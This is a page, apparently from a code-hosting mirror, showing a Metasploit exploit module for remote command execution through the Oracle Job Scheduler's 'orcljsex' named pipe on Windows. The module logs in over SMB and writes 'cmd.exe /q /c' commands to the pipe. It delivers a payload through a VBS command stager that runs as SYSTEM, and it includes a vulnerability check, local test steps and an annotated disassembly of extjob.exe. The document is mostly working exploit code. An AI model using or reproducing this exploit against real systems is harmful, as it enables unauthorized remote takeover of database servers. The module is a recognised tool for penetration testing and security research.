Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/oracle/extjob.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::SMB::Client9include Msf::Exploit::CmdStager1011def initialize(info = {})12super(update_info(info,13'Name' => 'Oracle Job Scheduler Named Pipe Command Execution',14'Description' => %q{15This module exploits the Oracle Job Scheduler to execute arbitrary commands. The Job16Scheduler is implemented via the component extjob.exe which listens on a named pipe17called "orcljsex<SID>" and execute arbitrary commands received over this channel via18CreateProcess(). In order to connect to the Named Pipe remotely, SMB access is required.19Note that the Job Scheduler is disabled in default installations.20},21'Author' =>22[23'David Litchfield', # Vulnerability discovery and exploit24'juan vazquez', # Metasploit module25'sinn3r' # Metasploit fu26],27'License' => MSF_LICENSE,28'References' =>29[30[ 'URL', 'http://www.amazon.com/Oracle-Hackers-Handbook-Hacking-Defending/dp/0470080221' ],31],32'Payload' =>33{34'Space' => 2048,35},36'Platform' => 'win',37# This module has been tested on Oracle 10g Release 138# where the Oracle Job Scheduler runs as SYSTEM on Windows39'Targets' => [['Automatic',{}]],40'CmdStagerFlavor' => 'vbs',41'Privileged' => true,42'DisclosureDate' => '2007-01-01',43'DefaultTarget' => 0))4445register_options(46[47OptString.new('SID', [ true, 'The database sid', 'ORCL'])48])4950end5152def exploit53if check == Exploit::CheckCode::Vulnerable54print_status("Exploiting through \\\\#{datastore['RHOST']}\\orcljsex#{datastore['SID']} named pipe...")55execute_cmdstager({:linemax => 1500})56handler57else58print_error "Host does not appear to be vulnerable!"59end60end6162def execute_command(cmd, opts)63connect()64smb_login()65pipe = simple.create_pipe("\\orcljsex#{datastore['SID']}")66pipe.write("cmd.exe /q /c #{cmd}")67pipe.close68disconnect69end7071def check7273begin74connect()75smb_login()76pipe = simple.create_pipe("\\orcljsex#{datastore['SID']}")77pipe.write("cmd.exe /q /c dir")78result = pipe.read() # Exit Code79pipe.close80disconnect81rescue82return Exploit::CheckCode::Safe83end8485if result == "1" # Exit Code should be 186return Exploit::CheckCode::Vulnerable87end8889return Exploit::CheckCode::Safe9091end92end9394=begin95How To Test locally:961. Go to Administrative Tools -> Services -> Set 'OracleJobSchedulerORCL' to automatic, and97then Start the service.982. Make sure you know your SMBUser and SMBPass993. Run:100C:\Documents and Settings\juan\PipeList>echo cmd.exe /c calc.exe > \\.\pipe\orcljsexorcl101102Code Analysis of extjob.exe (Oracle 10g Release 1)103=================================================104105From _ServiceStart():106107* Create Named Pipe and store handle on "esi":108109.text:004017EC push offset _pipename110.text:004017F1 lea ecx, [ebp+Name]111.text:004017F7 push offset $SG59611 ; "\\\\.\\pipe\\orcljsex%s"112.text:004017FC push ecx113.text:004017FD jmp short loc_401810114.text:004017FF ; ---------------------------------------------------------------------------115.text:004017FF116.text:004017FF loc_4017FF: ; CODE XREF: _ServiceStart+FAj117.text:004017FF push offset $SG59613118.text:00401804 lea edx, [ebp+Name]119.text:0040180A push offset $SG59614 ; "\\\\.\\pipe\\orcljsex%s"120.text:0040180F push edx ; Dest121.text:00401810122.text:00401810 loc_401810: ; CODE XREF: _ServiceStart+10Dj123.text:00401810 call ds:__imp__sprintf124.text:00401816 add esp, 0Ch125.text:00401819 push edi126.text:0040181A push edi127.text:0040181B push 4128.text:0040181D call _ReportStatusToSCMgr129.text:00401822 add esp, 0Ch130.text:00401825 test eax, eax131.text:00401827 jz loc_4018EC132.text:0040182D mov edi, ds:__imp__CreateNamedPipeA@32 ; CreateNamedPipeA(x,x,x,x,x,x,x,x)133.text:0040185C mov esi, eax134135* Connect Named Pipe136137.text:0040188F push eax ; lpOverlapped138.text:00401890 push esi ; hNamedPipe139.text:00401891 call ds:__imp__ConnectNamedPipe@8 ; ConnectNamedPipe(x,x)140141* Create Thread with ExecMain() as lpStartAddress and esi (The Pipe handle) as parameter142143.text:004018B9 lea edx, [ebp+ThreadId]144.text:004018BC push edx ; lpThreadId145.text:004018BD push 0 ; dwCreationFlags146.text:004018BF push esi ; lpParameter147.text:004018C0 push offset _ExecMain ; lpStartAddress148.text:004018C5 push 0 ; dwStackSize149.text:004018C7 push 0 ; lpThreadAttributes150.text:004018C9 call ds:__imp__CreateThread@24 ; CreateThread(x,x,x,x,x,x)151152From ExecMain():153154* Stores Named Pipe Handle in ebx155156.text:0040197C mov ebx, [ebp+hObject]157158* Read From Named Pipe159160.text:004019C4 lea eax, [ebp+NumberOfBytesRead]161.text:004019C7 push edx ; lpOverlapped162.text:004019C8 push eax ; lpNumberOfBytesRead163.text:004019C9 lea ecx, [ebp+Buffer]164.text:004019CF push 10000h ; nNumberOfBytesToRead165.text:004019D4 push ecx ; lpBuffer166.text:004019D5 push ebx ; hFile167.text:004019D6 call ds:__imp__ReadFile@20 ; ReadFile(x,x,x,x,x)168169* CreateProcess with lpCommandLine full controlled by the user input170171.text:00401A06 mov ecx, 11h172.text:00401A0B xor eax, eax173.text:00401A0D lea edi, [ebp+StartupInfo]174.text:00401A10 push esi175.text:00401A11 rep stosd176.text:00401A13 lea eax, [ebp+ProcessInformation]177.text:00401A16 lea ecx, [ebp+StartupInfo]178.text:00401A19 push eax ; lpProcessInformation179.text:00401A1A push ecx ; lpStartupInfo180.text:00401A1B push 0 ; lpCurrentDirectory181.text:00401A1D push 0 ; lpEnvironment182.text:00401A1F push 0 ; dwCreationFlags183.text:00401A21 push 0 ; bInheritHandles184.text:00401A23 push 0 ; lpThreadAttributes185.text:00401A25 lea edx, [ebp+Buffer]186.text:00401A2B push 0 ; lpProcessAttributes187.text:00401A2D push edx ; lpCommandLine188.text:00401A2E push 0 ; lpApplicationName189.text:00401A30 mov [ebp+StartupInfo.cb], 44h190.text:00401A37 mov [ebp+StartupInfo.wShowWindow], 5191.text:00401A3D mov [ebp+StartupInfo.dwFlags], 100h192.text:00401A44 mov [ebp+StartupInfo.lpDesktop], offset $SG59671193.text:00401A4B call ds:__imp__CreateProcessA@40 ; CreateProcessA(x,x,x,x,x,x,x,x,x,x)194195196=end197198199